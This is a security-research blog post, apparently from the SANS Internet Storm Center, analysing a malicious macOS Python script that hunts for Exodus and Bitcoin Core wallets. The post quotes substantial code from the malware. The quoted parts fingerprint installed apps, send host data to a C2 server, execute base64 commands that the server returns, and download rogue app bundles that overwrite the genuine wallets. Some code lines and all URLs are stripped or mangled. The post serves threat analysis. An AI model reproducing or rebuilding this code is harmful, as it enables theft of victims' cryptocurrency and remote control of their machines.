macOS Python Script Replacing Wallet Applications with Rogue Apps, (Fri, Jan 19th)

Category :

SANS Full Feed

Posted On :

Still today, many people think that Apple and its macOS are less targeted by malware. But the landscape is changing and threats are emerging in this ecosystem too[1]. Here is a good example: I found a malicious Python script targeting wallet application on macOS.

The script is not obfuscated and is easy to understand. The Virustotal score[2] remains low (3/59). What does it do? It targets two applications: Exodus[3] and Bitcoin Core[4]. It searches for occurrences of these applications:

def get_installed_apps():
processor_series = is_mac_intel()
application_paths = [‘/Applications’, ‘/System/Applications’]
app_names = []

for applications_path in application_paths:
app_dirs = os.listdir(applications_path)
except FileNotFoundError:
# If the directory is not found, skip to the next

for app in app_dirs:
if app.endswith(‘.app’):
app_name = app[:-4] # Remove the ‘.app’ extension
app_path = os.path.join(applications_path, app)

# Special handling for “Exodus” app
if app_name == “Exodus”:
exodus_path = os.path.join(applications_path, ‘’)
size_in_mb = get_dir_size(exodus_path) / (1024 * 1024) # Convert bytes to megabytes
if size_in_mb < 2:
app_name = ‘*’ + app_name

# Special handling for “Bitcoin-Qt” app
if app_name == “Bitcoin-Qt”:
hash_val = hash_directory(app_path)
if hash_val in [’07c20b191203d55eca8f7b238ac67380a73aba1103f5513c125870a40a963ded’,
app_name = ‘*’ + app_name

# Join the application names into a single string
sorted_app_names = sorted(app_names)
apps_string = ‘, ‘.join(sorted_app_names)
return f”Processor Series: {‘Intel’ if processor_series else ‘M1’}, Installed Apps: {apps_string}”

Note that it also checks the architecture (Intel or M1).

Once started, the script exfiltrates some info to the C2 server:

r = send(d(meta_version) + b(1) + d(meta_guid))

s = b”
if up:
print(“getting upload”)
s = json.dumps({
“os”: platform.platform() or “empty”,
“cm”: get_subfolders(“/USERS/”) or “empty”,
“av”: “”,
“apps”: get_installed_apps() or “empty”,
“ip”: meta_ip,
“ver”: “”
}, indent=None).encode(‘utf8’)
print(“getting upload ok {}”.format(s))

print(“ping start {}”.format(meta_version))
r = send(d(meta_version) + b(2) + d(uid) + s)

The C2 server might reply with some Python commands to be executed on the victim’s computer:

if len(r) > 4:
print(“cmd start”)
s = r[4:].decode()
cmd = s.split(‘rn’)
for c in cmd:
p = subprocess.Popen([sys.executable], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
o = p.communicate(input=base64.b64decode(c), timeout=10)[0]
print(“cmd end”)

Then, the script will replace applications. The first target is Exodus:

def check_exodus_and_hash():
apps_string = get_installed_apps()
if ‘Exodus’ in apps_string:
exodus_path = ‘/Applications/’
size_in_mb = get_dir_size(exodus_path) / (1024 * 1024) # Convert bytes to megabytes
if size_in_mb < 2:
print(“less than 2MB”)
if not os.path.exists(“/Applications/”):
print(“exodus not installed”)
print(“exodus start”)
process_name = “Exodus”
while True:
if is_process_running(process_name):
ar = ‘/tmp/’ + str(uuid.uuid4())
zapp = ar + ‘/’
scpt = ar + ‘/e.scpt’
icn = ar + “/applet.icns”
zelec = ar + “/”
realelecurl = is_mac_intelElectronUrl()
download_file_with_progress(realelecurl, zelec)
download_file_with_progress(“”, zapp)
download_file_with_progress(“”, scpt)
download_file_with_progress(“”, icn)[‘unzip’, “-o”, zelec, ‘-d’, “/Users/{}/electron”.format(getpass.getuser())])[‘unzip’, “-o”, zapp, ‘-d’, “/Users/{}/exodus”.format(getpass.getuser())])[‘osacompile’, ‘-o’, ar + ‘/’, scpt])
shutil.copyfile(icn, ar + ‘/’)
shutil.copytree(ar + ‘/’, “/Applications/”)
print(“exodus ok”)

The script downloads a fake Exodus app, an instance of the Electron framework[5], an Apple Script file (a .scpt file), and an icon (a .icns file). By reading the line above, you can see that files are extracted, and a new app is built via the “osacompile” tool[6] to compile Apple Scripts (note that this tool requires Xcode to be installed!)

The official app is replaced by an Apple Script. That’s why an icon file has been downloaded, it will replace the default icon and mimick a valid Exodus:

For the second app, it’s easier: It is just replaced:

def check_btccore_and_hash():
apps_string = get_installed_apps()
if ‘Bitcoin-Qt’ in apps_string:
app_url = is_mac_intelBtcUrl()
app_name = “”
applications_dir = “/Applications/”
expected_hash = is_mac_intelBtcHash()
file_hash = hash_directory(applications_dir)
if file_hash != expected_hash:
if not os.path.exists(“/Applications/”):
print(“btccore not installed”)
print(“btccore start”)
while True:
if is_process_running(“Bitcoin-Qt”):
ar = ‘/tmp/’ + str(uuid.uuid4())
temp_zip_path = ar + ‘/’
download_file_with_progress(app_url, temp_zip_path)
time.sleep(3)[‘unzip’, temp_zip_path, ‘-d’, “/Applications”])
time.sleep(5)[“chmod”, “775”,”/Applications/”])
break # Move the break statement outside of the except block
except Exception as e:
print(f”Error downloading file: {e}”)

What’s the purpose of the installed rogue application? I did not detect suspicious traffic but my analysis skills with macOS binaries are low. If you have more information, please share it with us!

Here are two interesting IOCs: The domains used by the scripts to fetch payloads and talk to the C2:



Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.